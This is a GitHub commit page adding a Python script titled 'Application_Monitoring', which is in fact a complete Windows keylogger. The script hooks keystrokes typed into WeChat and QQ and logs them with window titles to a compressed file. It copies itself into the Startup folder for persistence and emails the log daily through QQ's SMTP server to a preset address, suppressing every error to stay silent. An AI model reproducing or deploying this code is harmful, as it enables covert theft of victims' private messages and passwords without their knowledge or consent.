Skip to content

Commit ff67655

Browse files
authored
Add files via upload
1 parent f25bf9c commit ff67655

1 file changed

Lines changed: 277 additions & 0 deletions

File tree

Application_Monitoring_v2.3.py

Lines changed: 277 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,277 @@
1+
import os
2+
import struct
3+
import zlib
4+
import time
5+
from collections import defaultdict
6+
import keyboard
7+
import psutil
8+
import win32gui
9+
import win32process
10+
import smtplib
11+
from email.mime.text import MIMEText
12+
from email.mime.multipart import MIMEMultipart
13+
from email.mime.base import MIMEBase
14+
from email import encoders
15+
import threading
16+
import queue
17+
import atexit
18+
19+
# Configuration
20+
TARGET_APPS = ["WeChat", "QQ"] # Modify for easier testing, e.g., Notepad
21+
from_addr = "your_email@example.com"
22+
to_addr = "recipient_email@example.com"
23+
password = "your_email_password_or_smtp_token"
24+
compressed_file = "D:\\key_data.bin"
25+
interval_time = 86400 # 24 hours in seconds
26+
27+
# Global variables
28+
current_window_title = None
29+
key_buffer = {}
30+
MERGE_INTERVAL = 5 # 5 seconds merge interval
31+
is_target_app_active = False
32+
current_app_name = "Unknown"
33+
data_queue = queue.Queue()
34+
save_queue = queue.Queue()
35+
email_queue = queue.Queue()
36+
window_check_interval = 0.1
37+
process_update_interval = 0.5
38+
app_pids = defaultdict(list)
39+
40+
# 自启动功能
41+
def enable_startup():
42+
startup_dir = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')
43+
script_name = os.path.basename(__file__)
44+
script_path = os.path.join(os.getcwd(), script_name)
45+
startup_path = os.path.join(startup_dir, script_name)
46+
47+
if not os.path.exists(startup_path):
48+
with open(startup_path, 'w') as file:
49+
file.write(f'"{script_path}"')
50+
51+
# 发送邮件功能
52+
def send_email(subject, attachment_path):
53+
msg = MIMEMultipart()
54+
msg['From'] = from_addr
55+
msg['To'] = to_addr
56+
msg['Subject'] = subject
57+
58+
with open(attachment_path, "rb") as attachment:
59+
part = MIMEBase("application", "octet-stream")
60+
part.set_payload(attachment.read())
61+
62+
encoders.encode_base64(part)
63+
part.add_header("Content-Disposition", f"attachment; filename= {os.path.basename(attachment_path)}")
64+
msg.attach(part)
65+
66+
try:
67+
server = smtplib.SMTP_SSL('smtp.qq.com', 465)
68+
server.login(from_addr, password)
69+
server.sendmail(from_addr, to_addr, msg.as_string())
70+
server.close()
71+
except Exception as e:
72+
pass
73+
74+
def email_thread():
75+
while True:
76+
try:
77+
subject, attachment_path = email_queue.get()
78+
send_email(subject, attachment_path)
79+
email_queue.task_done()
80+
except Exception as e:
81+
pass
82+
83+
# 检查并发送邮件
84+
def check_and_send_email():
85+
if os.path.exists(compressed_file):
86+
last_mod_time = os.path.getmtime(compressed_file)
87+
current_time = time.time()
88+
if current_time - last_mod_time > interval_time:
89+
subject = f'{time.strftime("%Y/%m/%d的记录", time.localtime(last_mod_time))}'
90+
email_queue.put((subject, compressed_file))
91+
92+
def save_compressed_file(app_name, window_title, key_data):
93+
global compressed_file
94+
95+
if not key_data:
96+
return
97+
98+
existing_data = bytearray()
99+
if os.path.exists(compressed_file):
100+
with open(compressed_file, 'rb') as file:
101+
compressed_data = file.read()
102+
if compressed_data:
103+
try:
104+
existing_data = bytearray(zlib.decompress(compressed_data))
105+
except zlib.error:
106+
existing_data = bytearray()
107+
108+
raw_data = existing_data
109+
110+
# Remove .exe from app_name
111+
app_name = app_name.rsplit('.exe', 1)[0]
112+
113+
full_title = f"{app_name}: {window_title}"
114+
for key_name, count, timestamp in key_data:
115+
raw_data.append(1)
116+
title_bytes = full_title.encode('utf-8')
117+
raw_data.extend(struct.pack('I', len(title_bytes)))
118+
raw_data.extend(title_bytes)
119+
key_bytes = key_name.encode('utf-8')
120+
raw_data.extend(struct.pack('I', len(key_bytes)))
121+
raw_data.extend(key_bytes)
122+
raw_data.extend(struct.pack('I', count))
123+
raw_data.extend(struct.pack('<d', timestamp))
124+
125+
if raw_data:
126+
compressed_data = zlib.compress(bytes(raw_data))
127+
with open(compressed_file, 'wb') as file:
128+
file.write(compressed_data)
129+
130+
def on_key_event(e):
131+
global key_buffer, is_target_app_active, current_app_name, current_window_title
132+
if e.event_type == "down":
133+
key_name = e.name
134+
current_time = time.time()
135+
136+
if is_target_app_active or not TARGET_APPS:
137+
if key_name in key_buffer:
138+
if current_time - key_buffer[key_name]['last_time'] <= MERGE_INTERVAL:
139+
key_buffer[key_name]['count'] += 1
140+
key_buffer[key_name]['last_time'] = current_time
141+
else:
142+
key_buffer[key_name] = {'count': 1, 'first_time': current_time, 'last_time': current_time}
143+
else:
144+
key_buffer[key_name] = {'count': 1, 'first_time': current_time, 'last_time': current_time}
145+
146+
def get_process_pids(process_names):
147+
pids = defaultdict(list)
148+
for proc in psutil.process_iter(['pid', 'name']):
149+
for name in process_names:
150+
if name.lower() in proc.info['name'].lower():
151+
pids[name].append(proc.info['pid'])
152+
return pids
153+
154+
def get_foreground_window_info():
155+
try:
156+
hwnd = win32gui.GetForegroundWindow()
157+
_, pid = win32process.GetWindowThreadProcessId(hwnd)
158+
title = win32gui.GetWindowText(hwnd)
159+
if pid <= 0:
160+
return None, title
161+
return pid, title
162+
except Exception as e:
163+
return None, "Unknown"
164+
165+
def normalize_title(title):
166+
return title.lstrip('*')
167+
168+
def is_app_active(current_app_pids):
169+
fg_window_info = get_foreground_window_info()
170+
if fg_window_info[0] is None:
171+
return False, fg_window_info[1], "Unknown"
172+
173+
fg_window_pid, fg_window_title = fg_window_info
174+
for app_name, pids in current_app_pids.items():
175+
if fg_window_pid in pids:
176+
return True, normalize_title(fg_window_title), app_name
177+
178+
try:
179+
process = psutil.Process(fg_window_pid)
180+
actual_app_name = process.name()
181+
except psutil.NoSuchProcess:
182+
actual_app_name = "Unknown"
183+
except Exception as e:
184+
actual_app_name = "Error"
185+
186+
return False, normalize_title(fg_window_title), actual_app_name
187+
188+
def window_checker():
189+
global current_window_title, is_target_app_active, current_app_name, app_pids, key_buffer
190+
last_app_name = None
191+
last_window_title = None
192+
193+
while True:
194+
try:
195+
is_active, window_title, app_name = is_app_active(app_pids)
196+
197+
if is_active or not TARGET_APPS:
198+
if app_name != last_app_name or window_title != last_window_title:
199+
if last_app_name:
200+
save_queue.put(('save', last_app_name, last_window_title, key_buffer.copy()))
201+
key_buffer.clear()
202+
203+
current_window_title = window_title
204+
current_app_name = app_name
205+
last_app_name = app_name
206+
last_window_title = window_title
207+
is_target_app_active = True
208+
209+
elif last_app_name:
210+
save_queue.put(('save', last_app_name, last_window_title, key_buffer.copy()))
211+
key_buffer.clear()
212+
last_app_name = None
213+
last_window_title = None
214+
is_target_app_active = False
215+
216+
except Exception as e:
217+
pass
218+
219+
time.sleep(window_check_interval)
220+
221+
def save_thread():
222+
while True:
223+
try:
224+
action, app_name, window_title, data = save_queue.get()
225+
if action == 'save':
226+
save_compressed_file(app_name, window_title, [(k, v['count'], v['first_time']) for k, v in data.items()])
227+
save_queue.task_done()
228+
except Exception as e:
229+
pass
230+
231+
def process_updater():
232+
global app_pids
233+
while True:
234+
new_app_pids = get_process_pids(TARGET_APPS) if TARGET_APPS else {}
235+
if new_app_pids != app_pids:
236+
app_pids = new_app_pids
237+
time.sleep(process_update_interval)
238+
239+
def save_data_on_exit():
240+
save_queue.put(('save', current_app_name, current_window_title, key_buffer.copy()))
241+
save_queue.join() # Wait for all saving tasks to complete
242+
243+
def main():
244+
enable_startup()
245+
check_and_send_email()
246+
247+
keyboard.hook(on_key_event)
248+
249+
# Register the exit handler
250+
atexit.register(save_data_on_exit)
251+
252+
# Start the window checker thread
253+
window_checker_thread = threading.Thread(target=window_checker, daemon=True)
254+
window_checker_thread.start()
255+
256+
# Start the save thread
257+
save_thread_instance = threading.Thread(target=save_thread, daemon=True)
258+
save_thread_instance.start()
259+
260+
# Start the process updater thread
261+
process_updater_thread = threading.Thread(target=process_updater, daemon=True)
262+
process_updater_thread.start()
263+
264+
# Start the email thread
265+
email_thread_instance = threading.Thread(target=email_thread, daemon=True)
266+
email_thread_instance.start()
267+
268+
try:
269+
while True:
270+
time.sleep(1)
271+
except KeyboardInterrupt:
272+
pass
273+
finally:
274+
save_data_on_exit()
275+
276+
if __name__ == "__main__":
277+
main()

0 commit comments

Comments
 (0)